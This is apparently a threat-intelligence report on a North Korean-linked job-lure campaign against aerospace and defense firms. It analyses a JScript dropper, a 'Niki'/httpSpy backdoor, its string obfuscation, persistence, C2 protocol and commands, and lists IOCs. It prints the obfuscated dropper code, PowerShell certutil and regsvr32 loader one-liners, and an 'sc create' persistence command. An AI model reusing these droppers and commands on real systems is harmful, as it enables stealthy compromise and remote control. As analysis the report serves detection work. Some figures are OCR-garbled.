New North Korean based



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Introduction

In recent months, North Korean based threat actors have been ramping up attack campaigns in order to achieve a myriad of their objectives, whether it be financial gain or with espionage purposes in mind. The North Korean cluster of attack groups is peculiar seeing there is quite some overlap with one another, and it is not always straightforward to attribute a specific campaign to a specific threat actor.

This is no different in our paper today, where we analyse a new threat campaign, initially discovered in late May, featuring multiple layers and which ultimately delivers a seemingly new and previously undocumented backdoor.

The threat campaign is specifically focused on Aerospace and Defense companies: sectors appealing to multiple threat actors, but of particular interest to North Korean threat groups in other recent campaigns. We have named this threat campaign and associated backdoors "Niki" as it refers to the potential malware developer(s).



A high-level overview of the campaign we unravel today is found in Figure 1:

Figure 1 – High level campaign overview

Stage 1: Backdoor dropper

The "Safety Manager" job description campaign starts with a RAR file which contains a JScript file (Windows' version of JavaScript) and was likely originally delivered through email.

The RAR file has the following properties:

Filename: Safety Manager JD (General Dynamics HR Division II).zip

MD5: 6951bdbd78deb691b9a12de360f31628

SHA-1: df3dd9685d47b0b79d81fb049df3e5a5f2e19db6

SHA-256: 4f463f3fe541288d16ffd89f81d83d7e9e7e5a5e476850eac48c782a61a26bc0

Note that while the extension alludes to a ZIP archive, it is in fact a RAR archive and is password protected.

The dropper has the following properties:

Filename: Safety Manager JD (General Dynamics HR Division II).jse

MD5: 8346d90508b5d41d151b7098c7a3e868

SHA-1: 20ea6517f4490dc504756299263a06b1cc8e87e0

SHA-256:

24a42a912c6ad98ab3910cb1e031edbdf9ed6f452371d5696006c9cf24319147

The JSE dropper is shown in Figure 2 and 3 respectively.

```
UFBQUFBQUFBQUFBQUFBQUFBQUFBQUF="; dXCRxhFjKd0 = "vjVr53p.yOOL"; lIduYoiS7Fq = "zTlfbtn.oN5L"; spS4VSL =
new ActiveXObject("Mi" + "cr" + "oso" + "ft" + "." + "X" + "MLD" + "O" + "M"); iMYY8Vn = WScript.
CreateObject("Sc" + "ri" + "pt" + "in" + "g.F" + "ile" + "Sy" + "ste" + "mOD" + "je" + "ct");
jjIRipt29 = new ActiveXObject("W" + "Sc" + "rip" + "t.S" + "he" + "ll"); peA2nabk3Vo = iMYY8Vn.
GetSpecialFolder(0) + "\\..\P" + "ro" + "gra" + "mDa" + "ta"; y3CtZ3mp7.text = qIgHyz1Mg3e;
gG4UBtzoOu2wRWN = y3CtZ3mp7.dataType = "bi" + "n.b" + "as" + "e6" + "4"; y3CtZ3mp7.text = qIgHyz1Mg3e;
gG4UBtzoOu2wRWN = y3CtZ3mp7.nodeTypedValue; wcWfIrGYrehQr.Type = 1; wcWfIrGYrehQr.Write(gG4UBtzoOu2wRWN
); wcWfIrGYrehQr.SaveToFile(peA2nabk3Vo+"\\" + whl2gyvDY5n, 2); wcWfIrGYrehQr.Close(); if (iMYY8Vn.
FileExists(peA2nabk3Vo + "\\" + whl2gyvDY5n)) { try{ jjIRipt29.Run("\"" + peA2nabk3Vo + "\\" +
whl2gyvDY5n + "\""); atch(e) {} } fENOfIfCM = spS4VSL.createElement("yPOpjm0"); fENOfIfCM.dataType =
"bi" + "n.b" + "as" + "e6" + "4"; fENOfIfCM.text = zHDziBUMKAk; w396ge01S5gsXYN) = fENOfIfCM.
nodeTypedValue; iHQ2wLrhwcvpZ = new ActiveXObject("A" + "DOD" + "B.S" + "tr" + "ea" + "m");
iHQ2wLrhwcvpZ.Open(); iHQ2wLrhwcvpZ.Type = 1; iHQ2wLrhwcvpZ.Write(w396ge01S5gsXYN); iHQ2wLrhwcvpZ.
SaveToFile(peA2nabk3Vo+"\\" + dXCRxhFjKd0, 2); iHQ2wLrhwcvpZ.Close(); if (iMYY8Vn.FileExists(
peA2nabk3Vo + "\\" + dXCRxhFjKd0, 2); iHQ2wLrhwcvpZ.Close(); if (iMYY8Vn.FileExists(
peA2nabk3Vo + "\\" + dXCRxhFjKd0, 2); iHQ2wLrhwcvpZ.Close(); if (iMYY8Vn.FileExists(
peA2nabk3Vo + "\\" + dXCRxhFjKd0, 1 { try{ jjIRipt29.Run("p" + "ow" + "ers" + "hel" + "l.e" + "c" +
"e - w" + "ind" + "ows" + "try" + "id " + "den c" + "c" + "id" + "tru" + "id " + "den + "c" +
"e - w" + "ind" + "ows + "try" + "id " + "id = " try" + "id + "id = " try" + "id " + "id " + "id + "id = " + "rtu" + "id + "id = " + "c" + "od" +
"e - " + peA2nabk3Vo + "\\" + dXCRxhFjKd0 + " " + peA2nabk3Vo + "\\" + IIduYoiS7Fq, 0, true); WScript.
Sleep(15*1000); } catch(e) { } if (iMYY8Vn.FileExists(peA2nabk
```

Figure 2 – Original Jscript



Figure 3 – Slightly deobfuscated Jscript

The dropper contains the encoded base64 payload for the decoy file and the backdoor, and will drop these into the PROGRAMDATA folder and execute both. The JSE dropper will perform the following actions sequentially:

- 1. Get the folder to store the decoy and payload file: C:\PROGRAMDATA
- 2. Decode the decoy file (base64).
- 3. Drop the decoy file into the directory: C:\PROGRAMDATA\System Safety Manager JD (General Dynamics HR Division II).pdf
- 4. Open the decoy file, as shown in Figure 4.
- 5. The payload is double encoded in base64. Next, the dropper decodes the payload.
- 6. Drop the payload into the file: C:\PROGRAM\vjVr53p.yOOL
- Execute a PowerShell one-liner using certutil to decode the payload, as shown below.

powershell.exe -windowstyle hidden certutil -decode

C:\PROGRAMDATA\vjVr53p.yOOL c:\PROGRAMDATA\zT1fbtn.oN5L

8. Execute another PowerShell one-liner to execute the backdoor:

powershell.exe -windowstyle hidden cmd /c cmd /c regsvr32.exe /s

c:\PROGRAMDATA\zT1fbtn.oN5L

The decoy file has the following properties:

Filename: System Safety Manager JD (General Dynamics HR Division II).pdf

MD5: 6e5d5a8d06452852f1ccbc9b6dbab3eb

SHA-1: 5dd9f817d184115d17da659f59641d0cac65db3d

SHA-256:

f58a9905aad4d82a89a787017f1a357309caa01e2da081d76671f3319c66aa74

Creation date: 2024-05-14 (14th of May 2024)

The decoy, shown in Figure 5 below, displays a "position description" related to General

Dynamics, a global aerospace and defense company.



Figure 5 – Decoy PDF file with a position (job) description

By examining the EXIF data of the decoy PDF file, we can observe that the document

was created in the Korean language, as shown in Figure 6.

File Name	:	System Safety Manager JD (General Dynamics HR Division II).pdf
Directory		
File Size		106 kB
File Modification Date/Time		2024:05:17 16:07:12-04:00
File Access Date/Time		2024:05:18 09:41:28-04:00
File Inode Change Date/Time		2024:05:18 09:41:25-04:00
File Permissions		rwxrwxrwx
File Type		PDF
File Type Extension		pdf
MIME Type		application/pdf
PDF Version		1.7
Linearized	•	No
Page Count	:	2
Language	:	ko-KR
ragged PDF	÷	Yes
XMP Toolkit		3.1-701
Producer	•	Microsoft@ Word 2019
Creator Tool	:	Microsoft® Word 2019
Create Date		2024:05:14 17:33:20+09:00
Modify Date	:	2024:05:14 17:33:20+09:00
Document ID		uuiu. 78491911-0505-4559-A0D9-CCCE1062C9AE
Instance ID		uuid:78491911-0365-4359-A0D9-CCCE1062C9AE
Creator		Microsoft® Word 2019

Figure 6 – Decoy EXIF data, showcasing the file was created on a Korean language

system, using Microsoft Word 2019 and generated on May 15th.

Stage 2: The backdoor

The backdoor is a Windows DLL with the following properties:

Filename: zT1fbtn.oN5L

Internal filename: httpSpy.dll

MD5: 537806c02659a12c5b21efa51b2322c1

SHA-1: c90a00b80670da65da968e0503f41b433888b9d2

SHA-256: 3314b6ea393e180c20db52448ab6980343bc3ed623f7af91df60189fec637744

Compile timestamp: 2024-05-13 (May 13th 2024)

The backdoor, which does not appear to have been publicly documented before, allows the attacker to perform basic reconnaissance and drop additional payloads to take over or remotely control the machine. The backdoor is lightweight and uses multiple obfuscation techniques, for example encrypting all API names with different encryption methods, yet only decrypts them when they are actually called.



Figure 6 – Backdoor overview & capabilities

As shown in the overview, the backdoor's capabilities are fairly simple. First, it preloads the libraries to be used later. Then, it ensures persistence by automatically starting the backdoor when the system reboots by creating a Windows service named "CacheDB", which appears a common service name for some SAP products – potentially, the backdoor wants to masquerade as a legitimate SAP service.

Next, the backdoor extracts the C2 from the encrypted payload and starts contacting the command and control (C2) server for commands.

Obfuscations

The backdoor doesn't use packer techniques to hide itself from static analysis. Instead, it employs various methods to encode the strings used within it, only decoding them in memory when needed. As a result, extracting the strings from this binary doesn't yield useful results. This would ensure the functionality of the back door stays hidden. In addition, the backdoor uses different encoding techniques to each of the strings, therefore making the analysis more time-consuming. There are multiple methods the malware uses, listed below is a selection of several techniques used by the malware:

Method #1: Load encrypted string in the stack

The first method involves assigning the hardcoded encrypted string into the stack and shifting the bytes a few characters ahead or behind, as shown in the snippet in Figure 7.

	•	86	kernel32.dll = 'quhn';	
	٠	87	index = 0i64;	// nhuqho651goo
v	٠	88	v79 = '56oh';	
	٠	89	v80 = 'oog1';	
	٠	90	LOBYTE(v81) = 0;	
-		91	do	
٩	٠	92	*(&kernel32.dll + index++) -= 3;	<pre>// decrypted: kernel32.dll</pre>
	٠	93	while (index < 0xC);	

Figure 7 – Load encrypted stack strings

The hardcoded key (3 in this case) changes for every decryption method used.

Method #2: Load encrypted string from the rdata section

The second method the backdoor uses is to load the encrypted string from the .rdata section as a 128-bits of integer data from memory into the stack, then proceeds to decrypt the bytes using a first byte as the key as shown below.

Key	Encrypted string
-----	------------------

There are two variants of this method. The first variant uses a single key (the first byte)

to XOR with the encrypted string, as seen in Figure 8.

```
__mm_storeu_si128(&encrypted_buffer, _mm_load_si128(&xmmword_7FEF4FB8780));
LOBYTE(v42) = 0;
v29 = 0i64;
do
    *(&encrypted_buffer + v29++ + 1) ^= encrypted_buffer;// first character as the key
while ( v29 < 0xF );
v30 = BYTE1(encrypted_buffer);
```

Figure 8 – Single key

The second variant uses the single key added to a counter, then XORs it with the

encrypted string:

Figure 9 – Single key and counter

Method #3: Static Bytes Reorder

In addition to encryption, the backdoor also uses hardcoded strings to create a string. However, the developer reorders the byte assignments into different segments in an attempt to hide these strings from tools such as FLOSS. Below is an example of the code used to create a "DeleteFileW" string.

```
11 ptr_GetTempFileName = (void (__fastcal
    ptr_GetTempFileName((char *)path_name,
12
13
    str_GetTempPathW[0] = 'D\n';
14
    LOBYTE(str_GetTempPathW[6]) = 0;
15
    str_GetTempPathW[2] = 'te';
    str_GetTempPathW[3] = 'Fe';
16
17
    str GetTempPathW[5] = 'We';
18
    str GetTempPathW[1] = 'le';
19
    v30 = 68;
20
     str GetTempPathW[4] = 'li';
     LODWORD(v31) = 0;
21
```

Figure 10 – Hardcoded & reordered strings

API Call methods

The backdoor doesn't statically link the Win32 APIs it uses during the initialization time, but instead it searches for the API every time it is actually used. This ensures the backdoor features or activities are hidden from analysts or static detection tools. The process of the API is the following:

- 1. Decrypt the API it's calling;
- 2. Get the API's address based on the decrypted API name;
- 3. Call the API and clean up the name once complete.

The snippet in Figure 11 shows the process the malware takes to call the CreateThread

Win32 API.



Figure 11 – Calling the CreateThread API

Persistence

The backdoor leverages a Windows Run key in the registry to stay persistent. In addition it creates a new Windows service named *CacheDB* and sets the data and location as follows:

sc create CacheDB binPath= "cmd /c regsvr32.exe /s c:\PROGRAMDATA\zT1fbtn.oN5L" start= auto regsvr32.exe /s c:\PROGRAMDATA\zT1fbtn.oN5L

Lastly, the backdoor also stores its configuration in an Alternate Data Stream (ADS), a known technique to hide data, in the same location as the backdoor. If the stream is available, then it will use the configuration stored in the stream. If said stream is not available, the backdoor will decrypt the configuration stored in the backdoor itself. Figure 12 displays how the backdoor opens the stream file.



Figure 12 – Opening of stream

Figure 13 in turn displays the file once the configuration is generated:

C:\Windows\system32\cmd.exe	×
C:\Users`aminuei\Desktop>dir /R Volume in arive C has no label. Volume Serial Number is 18AB-8E83	• III
Directory of C:\Users\ paire \Desktop	
05/17/2024 08:12 PM 05/17/2024 (DIR) (DIR) (DIR) 05/17/2024 (DIR) (DIR) 264.192 05/17/2024 08:12 PM 05/17/2024 (DIR) (DIR) 07/15/2020 (DIR) 08/20/2020 (DIR) 04:14 PM 08/20/2020 (DIR) 05/17/2024 08/20/2020 04:14 PM 08/20/2020 (DIR) 05/17/2024 (DIR) 07/15/2020 (DIR) 08/20/2020 (DIR) 05/16 08/20/2020 06:10 P AM 08/20/2020 (DIR) 05/15/2020 (DIR) 07/15/2020 (DIR) 08/20/2020 (DIR) 05/16 08/20/2020 06:10 P AM 01R> 05/15 (DIR) 03/492 (DIR) 03/492 (DIR) 03/492 08/20/2020 06:06 AM 5 Dir(s) (DIR) 30/492 (DIR) 04/4 (DIR) 03/492	
C:\Users\ <u>healpha</u> \Desktop>	
	Ŧ

Figure 13 – Hidden data in ADS

The configuration file contains the C2 URL and the identifier (ID) of the target's

machine. The ID is a randomly generated value, created during the first run of the

backdoor. This ID is sent to the bot controller through the "CTX" value. The snippet in

Figure 14 displays the decompiled code and how the backdoor generates the ID.

```
v1[1] = GlobalStrEnc_payload;
random_count = rand();
*(v1[1] + 4648i64) = random_count * rand() / 2;
result = Func Command UpdateBinary(v1);
```

Figure 14 – Use of rand() to create the ID

Command & Control

The Command & Control (C2) URL is encrypted and stored within the backdoor. Once initialized, the backdoor decrypts the C2 in memory. In Figure 15 you may find an overview of the C2 decryption process.

n por a el nere de la el ner	个 ●	000007FEF4F	842BC	F341:0F7F40 D	(movdgu xmm	word ptr ds:	[r8-30],xmm0			
	•	000007FEF4F	842C2	8D 42 F 8	lea eax,qu	word ptr ds:[rdx-8]			
		000007FEF4F	842C5	66:0FFECA	paddd xmm	1, xmm2	Fre-201 ymmt			
		000007FEF4F	842CF	3D 00010000	cmp eax,10	00	rio rojimina			
	1®	000007FEF4F	842D4 ^ 2	7C 9A	jl 3314b6	ea393e180c20d	b52448ab6980343bc3	lec		
	•	000007FEE4F	84209	44:8803	moverid, edi	eox				
		000007FEF4F	842DC	44:88DB	mov r11d.e	ebx				
	•	000007FEF4F	842DF 4	4C:8BCB	mov r9,rb)	<				
	1	000007FEF4F	842E2	4C:8BC3	mov r8,rb	K des Feature				
		000007FEF4F	842F0	42:0FB64404 6	movzx eax.	byte ptr ss:	rsp+r8+69	GetKevChar		
		000007FEF4F	842F6	48:8D4D A8	lea rcx,qu	word ptr ss:[rbp-58			
		000007FEF4F	842FA	42:88548D A8	mov edx, du	word ptr ss:[rbp+r9*4-58			
		000007FEF4F	84266	41:02C3	add al.dl	10				
		000007FEF4F	84304	44:0FB6D8	movzx r110	d,al				
	•	000007FEF4F	84308	42:8B0499	mov eax, du	word ptr ds:	rcx+r11°4]			
		000007FEF4F	84300 R4310	4A:8D0C99	mov dword	ntr ss: rhn+	rest-58 eav			
		000007FEF4F	84315	49:FFC1	inc r9	per sone op				
	•	000007FEF4F	84318	41:8D42 01	lea eax, qu	word ptr ds:[r10+1]			
		000007FEF4F	8431C	8911 49'8048 01	lea rox g	ptr ds:[rcx]	,edx			
		000007FEF4F	84322	44:86D3	moy riod.	ebx				
	•	000007FEF4F	84325	48:3BCF	cmp rcx,rd	d1				
	1 1	000007FEF4F	84328	4C:8BC3	mov r8,rb)	C				
		000007FEF4F	8432F	44:0F4CD0	cmovl r10	d.eax				
		000007FEF4F	84333	49:81F9 00010	cmp r9,100	D				
	1®	000007FEF4F	8433A ^ 2	7C B4	j1 3314b60	ea393e180c20d	b52448ab6980343bc3	ed		
	:	000007FEF4F	84330	44:884D A0	mov r9d, di	word ptr ss:	rbp-60	sil: "http://download.ubeclippe	n com/index nhn"	00000755545
		000007FEF4F	84347	44:8855 A4	moy r10d.	dword ptr ss:	rbp-5C	TILL HELP. // dointiodd. doci Thige	in conversion in	0000071214
	•	000007FEF4F	8434B (0F1F4400 00	nop dword	ptr ds:[rax+	rax],eax	na si des de secondo considerato en secondo		
	(>•	000007FEF4F	84350	41:FEC1	inc r9b	uand att could	rha_tel			
		000007FEF4F	84357	45:0FB6C9	movzx r9d.	.r9b	rup-so			
		000007FEF4F	8435B	46:8B048A	mov r8d, de	word ptr ds:[rdx+r9*4]			
	•	000007FEF4F	8435F	4A:8D148A	lea rdx,q	word ptr ds:[rdx+r9*4]			
		000007FEF4F	84366	45:0200 45:0FB6D2	movzx r100,	1.r10b				
		000007FEF4F	8436A	42:884C95 A8	mov ecx, de	word ptr ss:[rbp+r10°4-58			
	•	000007FEF4F	8436F 4	890A	mov dword	ptr ds:[rdx]	,ecx			
		000007FEF4F	84371	41:02C8	add ci,rat	°_1				
		000007FEF4F	84377	46:894495 A8	mov dword	ptr ss: rbp+	r10=4-58 .r8d			
	•	000007FEF4F	8437C (OFB64C85 A8	movzx ecx,	byte ptr ss:	[rbp+rax*4-58]			
	:	000007FEF4F	84381	42:300C1B	xor byte p	ptr ds:[rbx+r	11],cl			
		000007FEF4F	84388	48:81FB 2C120	cmp rbx.12	220		5, 666666666666666666666666666666666666		
	i*	000007FEF4F	8438F ^ 3	7C BF	j1 3314b6	ea393e180c20d	b52448ab6980343bc3	lec		
RIP		00000755545	24205	4D:895E 08	mov gword	ptr ds:[r14+	8], r11 0db52448ab6980242b	r11:L"http://download.uberlinge	n.com/index.php"	
		000007FEF4F	8439A	BBDB	mov ebx,ea	ax	0005244000000000400			
	•	000007FEF4F	8439C I	E8 9F020100	call 33148	b6ea393e180c2	0db52448ab6980343b			
	:	000007FEF4F	843A1 ·	49:884E 08	mov_rcx,q	word ptr ds:[r14+8]			
		<			In Warman		ananananananan .			1
qword ptr [r14+	8]=[000	00000001EF4	E8]=0000000	0002A3FB0						
r11=000007FEF4FE	BCASO L	."http://down	nload.uber1	ingen.com/ind	dex.php"					
.text:000007FEF-	4F84391	3314b6ea39	3e180c20db5	2448ab698034	3bc3ed623f7	af91df60189fe	c637744.dll:\$4391	#3791		
		1				T T	.		000000000155750	000000000000000000000000000000000000000
Dump 1	Dump 2	Dump 3	Dump 4	Ump 5	💮 Watch 1	x= Locals	2 Struct		00000000001EE7E8	00000000001E
Address	Hex				AS	CII			00000000001EE7F0	000001000000
000007FEF4FBCA5	0 68 00	74 00 74 0	0 70 00 3A	00 2F 00 2F	00 64 00 h.	t.t.p.:././.	1.		00000000001EE7F8	0000010000000
000007FEF4FBCA6	0 6F 00	77 00 6E 0	0 6C 00 6F	00 61 00 64	23 68 1F 0.	w.n.1.o.a.d#h	۱.		000000000001EE808	000000000000000000000000000000000000000
000007FEF4F8CA70	0 67 F	E P4 2C A/ /	3 49 48 24	54 B2 46 45	60 17 75 q~	0,551H5.5.+			00000000001EE810	000000000000000000
000007FEF4FBCA9	0 74 C	S CC GB CA 3	C F1 86 E1	D3 62 E2 86	89 67 1F TA	IkÊ<ñ. áÓbâ. 'g	j.		000000000001EE818	00000000000000
000007FEF4FBCAA	0 5D 28	B CF 33 B4 1	6 12 98 99	GC EE DB 31	13 69 58](13 1101.	ix		000000000001EE828	3967642523406
000007FEF4F8CA80	0 85 7	4 67 42 F6 4	2 D1 5C C5	95 97 F0 D0	18 91 CF .0	4. an A. I. O	-		0000000001EE830	5E24232433720
000007FEF4FBCAD	0 37 D:	1 26 30 90 7	E 89 44 ED	B3 06 26 0D	EA 28 21 7N	40.~'D1 &.ê			00000000001EE838	6C78666473343
000007FEF4FBCAE	0 61 BF	53 82 47 4	7 E7 2B 10	D7 87 4D DC	E3 61 D3 a¿	S.GGC+.×.MUãa	ió l		000000000001EE848	6465736364475
000007FEF4F8CAF0	0 7D A	A1 D3 53 2	A3 83 49	AL D7 FC 20	SC 7E 28 }£	105 £. I-XU <	Two is a second s		0000000001EE850	3967642523400
000007FEF4FBCB10	0 D7 1	7 79 C6 F9 C	A DD 86 77	28 1F 29 F2	F7 D2 48 X.	yAUEY. w+.)0+0	DH I		00000000001EE858	5E24232433726
000007FEF4FBCB2	0 35 44	5 86 8A CB E	5 78 A2 38	81 8E 23 7E	4F 2D C3 5H	Eaxes#~0	-Ă		00000000001EE860	000000000000000000000000000000000000000
000007FEF4FBCB30	0 F2 10	33 86 29 9	9 47 8E EA	80 18 A4 6A	C9 F2 11 0.	31).G.e. #j£0	· ·		00000000001EE870	000000000000000000000000000000000000000
000007FFF4F8CB4	0 52 4	4 B3 22 RR D	A 69 A6 20	9E B7 F9 65	71 1D 3C PD	*"»Ui'=ueo	2		0000000001EE878	00000000000000
000007FEF4FBCB6	0 72 48	4D C9 81 E	6 E6 F7 74	3E 06 5D 89	E6 68 SF FN	MÉ.ææ÷t>.].æ	c.		00000000001EE880	000000000000000000000000000000000000000
000007FEF4FBCB7	0 29 A	BA 3F A2 5	C 55 80 2E	89 C9 85 10	3D 55 D3)	•?¢\UÉ=	0		000000000001EE890	0000008E00000
000007FEF4F8C880	ALEO FI	70 10 66 0							A COMPANY OF A REAL PROPERTY OF	
THE REPORT OF THE PARTY OF THE	0 09 6	5 FE 80 25 5	9 22 06 69	27 C2 15 36	88 93 36 00 FF FF F3 #	1.I.a A.6.	0		0000000001EE898	0000005400000
000007FEF4FBCBA	0 09 60 0 DC 00	5 EF 8D 2E F 0 2F 4B ED 8	9 22 06 69 8 6C 52 A5	27 C2 15 36 66 F1 58 B3 F1 25 98 2C	88 93 36 00 EE 5F E3 .f 01 FB 8F U.	1. u". 1fñ[*1 /K1. lR¥ñ%	. 6 _ā }.		00000000001EE898 00000000001EE8A0	0000005400000 0000008F00000
000007FEF4FBCBA 000007FEF4FBCBB	0 09 60 0 DC 00 0 1A 5	5 EF 8D 2E F 2 F 4B ED 8 8 A D2 22 B	9 22 06 69 8 6C 52 A5 7 33 5D C2	27 C2 15 36 66 F1 58 B3 F1 25 98 2C 34 06 98 13	EE 5F E3 .f 01 FB 8F U. 15 A3 AE .Y	1.1.a. A.6 1u".1fñ[1] /K1.1R¥ñ%i .0" 3]Å4	1.		0000000001EE898 00000000001EE8A0 00000000001EE8A8 4 1000000001EE8A8	0000005400000 000000BF00000 0000006000000

Figure 15 – Decryption of the C2 and its accompanying request

The C2 is as follows:

http://download[.]uberlingen[.]com/index.php

It is unclear whether the domain bears any significance, that said, Diehl Aerospace, a

German aerospace company, is based in Uberlingen.

To communicate with the C2, the backdoor performs an HTTP POST request with the following data:

id=user&pwd=page4&ctx=07059861

The payload is hardcoded into the configuration and as mentioned earlier, the "CTX" value is a unique ID generated by the backdoor.

Commands & Capabilities

Once the backdoor connects to the C2, it continuously requests for instructions or commands. If no command is received from the C2 server, the backdoor will sleep for 5 minutes before making another request.

The backdoor's commands are identified by single digits starting with *100*. The table on the next page lists the commands available in the backdoor. Due to its ability to update itself, additional commands may be available in different versions of the backdoor and as such the table is non exhaustive.

cecutes
elivered by the
tacker). The
natted as
nted as a C
at:
2>&1
nables the
load (drop) a
system.
eads and
nt of a file back
nables the bot
cute a program
bot controller.
ı the file

		Take a screenshot of the
106	Take Screenshot	desktop and send it back to the
		bot controller.
407	Sand ID	Send the ID of the infected
107		system.
		This command enables the
		backdoor to replace itself with
108	Update backdoor	a new file provided by the
		attacker. The backdoor will
		then restart itself.
100	Get command from	This command configures a
109	new C2	new C2 to get the commands.
		Sleeps for 6*X minutes, the
110	Sleep	amount of time is specified by
		the attacker.
444	Set File Timostamo	Update the timestamp of a file
111		specified by the attacker.
112	Uninstall	Removes itself and all artifacts.
644	Download file and	Downloads a file and executes
113	execute	it.

Table 1 – Backdoor commands

Hunting for similar campaigns

We created a broad YARA rule for searching additional samples and identified **four** additional implants. Two of the samples are the same backdoor with a different style of obfuscation. The other two files are newly developed backdoors with distinct flows. The diagram in Figure 16 displays the relationship between these files.



Figure 16 – How one campaign leads to another and ... to other backdoors.

Similar Backdoor with different obfuscation

Filename: icon.ini

Internal filename: httpSpy.dll

MD5: 8d948bb863ea38ecb46b7e78d1b1abfa

SHA-1: d2b7e3c736a38c56ec3d7d3779fb463a3e472a3a

SHA-256: a637d9836285254831c80fdd407f4dae440ad382a23ca12abae2d721cffe913f Filetype: Win64 DLL

C2: http://en[.]uberlingen[.]com/index.php

Compile timestamp: 2024-05-17 (May 17th 2024)

This backdoor is similar to the original backdoor in Stage 2, however, there's a notable difference in the way it encrypts and decrypts strings. While the original sample uses a basic encryption technique to hide the strings and decrypt them at runtime, this sample employs state machine obfuscation techniques to conceal the strings. The following code snippet shows an example of the string building:

```
673 v3 = &key;
•
  674 v615 = &key;
.
  675 LOBYTE(key) = 28;
676
        v612 = &key + 1;
        v4 = 458466476;
•
  677
678 if ( (dword 7FEF4FD9958 * (dword 7FEF4FD9958 - 1) & 1) != 0 && dword 7FEF4FD995C >= 10 )
          v4 = -1512680505;
•
   679
•
        v5 = 96811092;
   680
•
        if ( (dword_7FEF4FD9958 * (dword_7FEF4FD9958 - 1) & 1) != 0 && dword_7FEF4FD995C >= 10 )
  681
.
  682
          v5 = -1512680505;
        state = 60419000;
   683
•
   684
        while (1)
   685
        {
   686
          while (1)
   687
          {
   688
            while ( state <= 96811091 )
   689
            ł
   690
              if ( state == -1512680505 )
   691
              {
                state = 96811092;
   692
   693
              }
   694
              else if ( state == 60419000 )
   695
              {
  696
                key_ptr = &key;
   697
                v7 = 789998814;
                while ( v7 != 1693986487 )
  698
   699
                {
   700
                  if ( v7 == 789998814 )
   701
                  {
   702
                     LOBYTE(v644) = *key ptr;
  703
                    v7 = 1693986487;
   704
                  }
   705
                }
   706
                LOBYTE(v633) = v644 ^ 0x4C;
   707
                state = 805032375;
   708
              }
   709
   710
            if ( state != 96811092 )
              break;
   711
•
   712
            state = v4;
   713
   714
          if ( state == 458466476 )
   715
            break;
          if ( state == 805032375 )
  716
•
  717
            state = v5;
   718
        LOBYTE(v632) = v633;
                                                       // P
.
   719
```

Figure 17 – State machine obfuscation

As shown in the example in Figure 17, the state is set to 6041900. The code skips over until it reaches the second if condition, sets the key to 28, and XORs the value with 0x4c, resulting in 80 ('P'). Then, it sets the state to 805032375 and continues in another flow until it reaches the final constructed string. This method of obfuscation makes reverse engineering much harder, as we have to trace the code to obtain the final result.

Interestingly enough, this slightly more advanced version, at least in terms of obfuscation, of this backdoor sports a debug path: possibly, the developer has forgotten to remove it:

D:\02.data\03.atk-tools\engine\niki\httpSpy\..\bin\httpSpy.pdb

The naming conventions of 02.data and 03.atk-tools ("attack tools"), suggests the developer has likely many more attack tools, implants and directories on their (development) system.

Observant readers will have also noticed the compilation date is a mere days later than the original backdoor described initially, suggesting a "finger on the pulse" campaign: the campaign operator(s) and malware developer(s) are closely monitoring the success rates of the different campaigns.

Lockheed Martin Job Description Campaign

Similar to the 'Safety Manager Job Description Campaign,' the Lockheed Martin Job campaign uses a similar backdoor with different obfuscation. Below are the properties of the files in the campaign.

Dropper Properties

Filename: Job Description (LM HR Division II).zip

MD5: b75816a259098d39e5b666a867edf708

SHA-1: 3775bf222c77eea4683941bd7c51e801f35e07de

SHA-256: faca8b6f046dad8f0e27a75fa2dc5477d3ccf44adced64481ef1b0dd968b4b0e

ZIP Modify Date: 2024-05-24 (May 24th 2024)

Stage 2 Properties (next dropper)

Filename: Job Description (LM HR Division II).pdf.scr

MD5: 73d2899aade924476e58addf26254c2e

SHA-1: 3671eaf95ce83f769ee2bd73f5c1c9e85b34fee1

SHA-256: cca1705d7a85fe45dce9faec5790d498427b3fa8e546d7d7b57f18a925fdfa5d

Filetype: Win32 Executable

Compile timestamp: 2024-05-23 (May 23rd 2024)

Backdoor Properties (payload)

Filename: desktop.ini

MD5: 27d4ff7439694041ef86233c2b804e1f

SHA-1: 0e42f20eb0aab1a4570b0e96b36ceb88f2c82643

SHA-256:

5b3cc9cced1ef0cb0bba5549cc2ac09c49ae10554d2409ea16bc5e118d278c15

Filetype: Win32 DLL

C2: http://imagedownload[.]ignorelist[.]com/index.php

Compile timestamp: 2024-05-21 (May 21st 2024)

Decoy File



Figure 18 – Lockheed Martin decoy file

Lockheed Martin is another leader in the aerospace and defense vertical. Interestingly enough, the Stage 2 dropper in this campaign, a file with a *.pdf.scr* extension, which is not a PDF document but in fact a "screensaver" executable, has a compile timestamp *later* than the payload. This suggests either the binary has been timestomped, or (more likely) it was created *after* the payload to facilitate delivery, evade detection mechanisms or perhaps to masquerade the final payload.

In addition, the Stage 2 dropper also has a Digital Certificate. At time of analysis, this certificate was still valid, but it has since been revoked as seen in Figure 19.

Signature info 🔅

Sign	ature Verification	
∆ S	igned file, valid signature. Revo	ked.
File	Version Information	
Date	signed	2024-05-23 14:03:00 UTC
	-	
Sign	ers	
— N	exaweb Inc	
	exameb, me.	
	Name	Nexaweb, Inc.
	Status	Trust for this certificate or one of the certificates in the certificate chain has been revoked.
	lssuer	DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA1
	Valid From	12:00 AM 09/20/2022
	Valid To	11:59 PM 09/19/2025
	Valid Usage	Code Signing
	Algorithm	sha256RSA
	Thumbprint	DE17C78F51E7D21200AF857487FB5A1BED42C550
	Serial Number	03 15 E1 37 A6 E2 D6 58 F0 7A F4 54 C6 3A 0A F2

Figure 19 – "Nexaweb" digital certificate used to sign the 2nd dropper

It is currently unclear if there is a link with Nexaweb (i.e. stolen certificate), which

appears to be a software development company in the United States.

Newly Developed Backdoors

In our hunting efforts, we also found another backdoor, which shows slight code overlap with the backdoors described earlier.

File navigation Backdoor (Executable x86) MD5: 3de6024e95b875885b42d19fce2baa18 SHA-1: fd578bbc1a967a345d09ef09209612b9750fa263 SHA-256: 62840447d4d17f14047d7aa0b0916ed94114741846fbac3743e0b393a0273a9c C2: http://test.com/proxy.asp C2: 100.100.100.2/proxy.asp Compile timestamp: 2024-03-31 (March 31st 2024)

This binary appears to be one of the first versions of the backdoor, likely in development at the time due to the placeholder C2 servers. A VirusTotal submitter from China had submitted the binary less than 2 weeks prior to its compilation time, on March 19th. The backdoor contains functionality to *navigate* the file system, read/write files, and execute commands. It is likely an implant leveraged for post-compromise purposes.

Command	Description
QCvt5676hZXbg	Create a "System32" directory and copy the file into the folder with the filename smss.exe.
mJnZzaCN2RnFG	Run the backdoor to communicate with the bot controller. The IDs of the bot are mode7 , page7 , and DATA7 as these data are submitted to the C2 via an HTTP POST command.

